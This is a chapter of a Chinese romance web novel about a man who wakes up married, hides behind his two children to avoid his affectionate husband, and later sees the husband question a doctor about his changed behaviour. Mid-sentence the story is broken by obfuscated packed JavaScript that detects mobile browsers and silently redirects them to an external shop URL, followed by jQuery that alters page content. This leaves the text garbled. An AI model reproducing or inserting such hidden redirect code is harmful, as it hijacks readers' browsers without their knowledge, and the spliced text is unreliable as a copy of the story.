5. 医院
作品:《一觉醒来发现我结婚了》 两个孩子拽着时澜的胳膊,溜圆的大眼中带着急切:“父亲,你快亲亲小爸爸,这样小爸爸就不疼了!”稚嫩的童音中带着纯真。
但是这样的纯真的言语却给江清雾带来了难堪和无措,他愣在原地动也不是,不动也不是。
比起江清雾,时澜反倒是轻松了不少,他深邃的眼眸中带着笑意,捏了捏孩子们的小脸颊,说:“小鬼头们,尽会出主意。”
两个孩子依旧不依不饶,他们一人拽着时澜的一只胳膊,把他往江清雾的方向拽,两个小崽子肯定是无法撼动面前壮硕的男人,可是耐不住时澜自己半推半就,他灼热的目光盯着江清雾,调笑说:“你小爸爸害羞呢。”
“小爸爸这么大人了怎么还害羞啊!”安安说。
“小爸爸不要害羞嘛!”
说着宁宁抓着时澜的胳膊,小脑袋往他的胸膛上靠,“父亲,你快亲啊!”
江清雾埋在枕头里的头猛然抬起,或许是呼吸不畅,他的脸颊憋得通红,活像往脸上涂上了一层厚重的腮红。
这到底是要亲什么啊!早知道就不多嘴了!
他脸上皆是懊恼和后悔,真想穿回过去把自己的嘴巴给粘住。
江清雾想了想说道,“没事的,小爸爸现在好多了,只有你们亲我才能好。”他趴在枕头上,伸出手捏住两个孩子的小手,把他们莲藕粗细的小胳膊给铐住,“因为你们是小孩子,小孩子亲我才管用。”
“真的是这样吗?只有我们才能让小爸爸变好?”
“是的。”江清雾一脸决然,那必须是的啊。
“那父亲不要亲小爸爸了。”两个孩子果然松开了时澜,时澜微微一愣,原本唇角微扬的嘴角缓缓放下。
“小爸爸你快点好,好了和我们一块儿玩。”小孩子趴在江清雾身旁说。
“嗯。”江清雾点头回应,松下一口气。
时澜见两个孩子老实了,叹了一口气,抬手把他们抱在怀里,说:“这么晚了,你们两个也该回去睡觉了,父亲把你们送回自己的房间好不好?”
听到时澜的这番话,江清雾当即慌张起来,欲言又止。
儿子们,别走啊,千万别走啊,小爸爸求求你们了!
虽然江清雾的儿子们有的时候比较坑爹,但是关键时刻还是相当有用的。
奶呼呼的声音响起,“可是,我们想和小爸爸一起睡啊。”小孩子撇着嘴,委屈巴巴地望向江清雾,“小爸爸,我们可以和你一起睡吗?”
江清雾当然不会拒绝,“可以呀。”
他拍了拍大床中间的位置,说:“你们睡在中间好不好?”
“嗯!”
两个孩子点了点脑袋,一骨碌躺在床上,叽叽喳喳地笑着。
时澜看了一眼江清雾,最后默许了他这样的做法,不过他倒是没有直接躺在床上,反倒是走向了浴室。
江清雾望向时澜的背影,紧绷的神经放松。
有孩子这到底是福还是祸呢?江清雾不知道,他只知道自己靠着亲儿子躲过了和未来丈夫的独处,有了一口喘息的时间。
浴室里传来淅淅沥沥的水声,磨砂玻璃上露出一个模糊的人影,精壮的身躯透过磨砂玻璃映入江清雾的眼帘,不过没一会儿热水蒸腾起来的热气几乎完全掩盖了那层虚幻的剪影。
等时澜出来的时候,江清雾和孩子们已经完全睡着了,他单手拿着一块毛巾,擦拭着发丝上的水滴,径直朝江清雾的方向走去。
外表冷漠的人眼神中饱含温柔,他蹲在江清雾那一侧的床边,胳膊搭在床沿上,灰亮的眼眸直勾勾地注视着躺在床上的妻子,眷恋而又柔情。
面前的妻子早已入睡,细密的睫毛又长又翘,时澜情不自禁俯身吻在了江清雾的脸颊上。
“早点好起来了吧。”他说。
*
柔软湿漉漉的东西贴在江清雾身上,有点像是被小狗的舌头舔舐身体,他正陷入睡梦中,混沌的画面在他的眼前来回晃动,最后定格在面前一块一块儿东西上面。
江清雾眯着眼,迷糊地说道:“什么东西?”
他伸手在上面摩挲,又是抓又是揉,柔软的触感像极了捏捏乐,让人欲罢不能,直到一声带着粗喘的闷哼声扑到江清雾的耳边。
“好摸吗?”
江清雾:“......”
他现在有点清醒了。
“你干嘛啊?”他一把攥住时澜的胳膊,一脸慌乱。
“把你身上的残留的药酒擦掉。”时澜贴近江清雾,“老婆你睡得太熟了,所以我就给你擦了。”
他扫了一眼江清雾,笑说:“不过,现在阿雾你是在害羞吗?”
时澜反手拉住江清雾的胳膊,把他禁锢在怀里。
“咱们俩都老夫老妻了,你身上哪个地方我没看过,怎么这么多年过去了怎么还那么害羞?”
“没有害羞!”
江清雾脸憋得通红,呼吸也跟着急促,时澜就像是一个大火炉,毫无间断地朝着他的身体输送热量,与此同时,幽幽兰花香气环绕在他的身侧,这种深度绑定的产物好像也在动摇江清雾的意志,让他承认这段独特的关系。
靠,江清雾暗骂一句。
时澜这个人也是有够奇怪的,从回到家开始,无时无刻不在释放安抚信息素,也不嫌累。
“那我亲亲你好不好?”时澜坐在床边抱着江清雾,大掌弄着被攥在手心的小手。
江清雾神色慌乱,说:“孩子都还在一旁呢。”
“没事,不是都在睡觉吗?看不着的。”
“可是万一被看到怎么办?”他瞪向时澜,心里憋着一股火。
他江清雾从小到大还没见过时澜这么没皮没脸的,这像什么话啊!
“那我们就蒙上被子,这样就看不到了。”时澜面不改色说着禽兽不如的话。
简直是骚到没边了。
这下江清雾彻底恼了,也不管有没有维持好自己好妻子的人设,一掌拍在时澜的胸膛上。
只听啪一声,时澜的胸肌跟着颤了颤,那样子着实可观,江清雾的手也被震得发麻。
“你不要脸啊!”
“嗯,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193882|197118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
确实不要脸,现在我可以亲你了吗老婆?”时澜轻笑。
我去,还有更不要脸的?
江清雾听完立马要再次出手,可是伸出的手刚贴上时澜的胸肌就猛然停下。
孩童迷茫的声音便从一旁传出。
“小爸爸,父亲,你们在干什么啊?怎么抱在一起啊?”小孩子揉了揉眼睛。
江清雾心中一惊,一把推开时澜,刀了他一眼才转过身子。
不过这对时澜没有任何威慑力,这副嗔怒模样反倒让时澜看得心里痒痒的。
江清雾回想着自己之前哄小孩的经历,拍拍小孩子的脊背,轻声道:“没事,快睡觉。”
年纪小的孩子觉多,这种小插曲对他的影响不大,江清雾没哄一会儿,孩子就睡着了,他不禁惊叹于自己哄小孩的天赋。
同时他也在庆幸孩子给他争取了点时间,时澜总算是消停了会儿。
早晨起床,两个孩子被张妈带走,临走前张妈还疑惑,明明两个孩子长大点后晚上睡的都很沉,昨天怎么就突然醒了呢?
江清雾心虚地表示他也不知道为什么,可能是小孩子心血来潮吧。
吃完饭后江清雾和时澜一块儿去了医院,那是一家私人医院,准确来说,这家医院是时澜家的。
因为这层特殊关系,江清雾直接走的VIP通道,不需要浪费时间去排队等待。
检查结果出来后也显示没什么大事,不过时澜还是专门去找了医生再次询问。
江清雾不喜欢医院消毒水的味道,拿着钥匙下了楼,在车里等着时澜。
医院办公室里,时澜坐在椅子前眉头紧锁,神色严肃,说:“真的没事吗?”
方治把手里的片子往桌子上一拍,说:“不是兄弟,我给你说了多少遍了,你老婆没事!真的一点事都没有!哥,我知道你担心嫂子,但是你不觉得你现在有点像是过来没事找事的吗?”
“我也知道没事,但是,你嫂子真的变了很多,会不会是碰到脑子才产生的后遗症?”时澜说。
“也不是没有这种可能,但是拍的片子上确实显示没事,你具体说说嫂子哪里变了?”一听这话,方治也变得严肃起来。
总算是有点治病救人的样子了。
“他突然喊我老公,他以前从来不会这样。”时澜信誓旦旦地说。
方治:“?”
“秀恩爱出门右转,记得把门给我带上,别让爱情的酸臭气飘进来。”
“我真的没有在开玩笑。”时澜沉声道。
方治抓着自己白大褂的领口提了提,说:“我也没在开玩笑。”
时澜虽然被怼了,但是走之前也得到了方治一个权威的建议。
让他也应该去检查一下脑子。
回去的路上江清雾收到了多年好友发的消息。
温棠礼知道他出事后想要过来看他,那是他的高中时期最要好的朋友。
江清雾盯着手机上的消息,沉思片刻。
他想,或许能从他那里知道些东西。
比如,时荆的消息。

